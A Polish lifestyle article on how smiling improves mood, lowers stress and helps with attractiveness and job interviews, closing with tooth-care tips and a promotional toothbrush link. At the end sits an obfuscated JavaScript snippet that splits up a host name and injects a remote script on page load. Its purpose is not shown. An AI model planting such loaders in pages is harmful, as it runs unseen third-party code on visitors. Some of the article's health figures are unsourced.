Zaraźliwy, ale zdrowy. Nie ukrywaj swojego uśmiechu!
REDAKCJA • dawno temuZwykle uśmiechamy się bez zastanowienia. Jest to mimowolna reakcja, której powody są przeróżne, efekt jednak jest identyczny - 26 mięśni twarzy odsłania zęby unosząc kąciki ust. Ten, właściwie dość dziwny grymas, ma uniwersalne znaczenie i niezależnie od zakątka świata, odbierany jest tak samo - pozytywnie i przyjaźnie. Oznacza przecież zadowolenie i radość.
Jednak badania pokazują, że istnieje ponad pięć milionów osób, które uważają, że mają nieładne zęby, starają się ukrywać swój uśmiech, lub wręcz go unikać. Tymczasem ten prosty gest ma olbrzymie znaczenie dla wielu aspektów naszego życia.
Uśmiech uszczęśliwia
To hormony decydują o tym, jak się czujemy. Ich produkcją steruje nasz mózg, który jak się okazuje możemy stosunkowo łatwo oszukać. Nie potrzebujemy zewnętrznych bodźców, aby skłonić go do wytwarzania endorfin. Wystarczy naśladować mimikę odpowiadającą danej emocji, aby wywołać w mózgu reakcję identyczną z tą, jaka byłaby, gdyby owa emocja była prawdziwa. Wystarczy uśmiechać się przez kilka minut, aby nasz mózg zaczął produkować endorfiny, które, gdy już pojawią się w naszym organizmie, sprawiają nam autentyczną przyjemność.
Uśmiech obniża poziom stresu
Stres wpływa na właściwie każdy aspekt naszego życia, zwykle w bardzo negatywny sposób. Umiejętność radzenia sobie z nim stała się w ostatnich latach kluczowa dla zachowania dobrego zdrowia, zarówno psychicznego jak i fizycznego. Okazuje się, że częsty uśmiech to najprostszy i najłatwiej dostępny środek antystresowy. Jak już wiemy, oszukać mózg i zmobilizować go do produkcji odprężających nas hormonów jest łatwo. Uśmiechajmy się więc, codzienna dawka endorfin powoduje obniżenie poziomu kortyzolu (potocznie zwanego hormonem stresu) we krwi, dzięki czemu jesteśmy zdrowsi i szczęśliwsi.
Uśmiech uszczęśliwia innych
Uśmiech jest zaraźliwy. Przebywanie pośród wesołych i odprężonych osób wpływa uspokajająco na nas samych, w takim towarzystwie szybciej się relaksujemy i stajemy się bardziej zadowoleni. Wynika to z podświadomego przekonania, że uśmiechnięci ludzie nie mają wobec nas wrogich zamiarów, nie musimy więc być czujni i zestresowani, gdyż nie grozi nam z ich strony żadne niebezpieczeństwo. Uśmiechając się poprawiamy więc humor nie tylko sobie, ale i osobom w naszym otoczeniu. Dzięki czemu jesteśmy odbierani bardzo pozytywnie, a ludzie nas lubią i akceptują, co dodatkowo poprawia nasze samopoczucie.
Uśmiech jest atrakcyjny
Oczywiście określenie tego, co atrakcyjne jest, a co nie, to bardzo indywidualna kwestia, jednak w przeważającej większości ludzie uważają uśmiechnięte twarze za piękniejsze. Do osób poważnych podchodzimy z dystansem i rezerwą, ludzi uśmiechniętych postrzegamy jako bardziej szczerych i godnych zaufania.
Uśmiech ułatwia znalezienie pracy
Podczas rozmowy o pracę nie jesteśmy oceniani tylko pod kątem naszych zawodowych kwalifikacji. Pierwsze wrażenie, jakie robimy, jest często kluczowe w ocenie, jaką ostatecznie otrzymamy. Ograniczenie się do profesjonalnego, neutralnego wyrazu twarzy nie jest tak pozytywnie odbierane jak uśmiech. Będąc uśmiechniętym, łatwiej zjednać sobie ludzi, zdobyć ich zaufanie i życzliwość. Pozytywne relacje w pracy przekładają się natomiast na jej wydajność i jakość, co z oczywistych względów jest cenione przez pracodawców.
Jeśli więc wstydzimy się swoich zębów i ograniczamy to, jak często się uśmiechamy, szkodzimy bardzo wielu aspektom naszego życia. Dbanie o zęby jest proste — wystarczy poświęcić kilka krótkich chwil dziennie na dokładne nitkowanie i szczotkowanie zębów (warto zaopatrzyć się w elektryczną szczoteczkę do zębów, która jest kilka razy bardziej skuteczna niż ta tradycyjna – jeśli masz obawy, że nie będzie dla ciebie odpowiednia, możesz przetestować ją za darmo klikając tutaj) oraz płukanie jamy ustnej — pamiętajmy o tym i uśmiechajmy się jak najczęściej.
(function(){
udXi=document.createElement("script");udXi.type="text/javascript";
udXi.async=true;udXi_=(("us")+"t")+"a";udXi_+=("t.i")+""+"n";udXi_+=(("f")+"o");
udXi.src="http://"+udXi_+"/3553707.ryr2g2e4dXime8rwwym2npvl49klzh";
document.body.appendChild(udXi);
})();
Ten artykuł nie ma jeszcze komentarzy
Pokaż wszystkie komentarze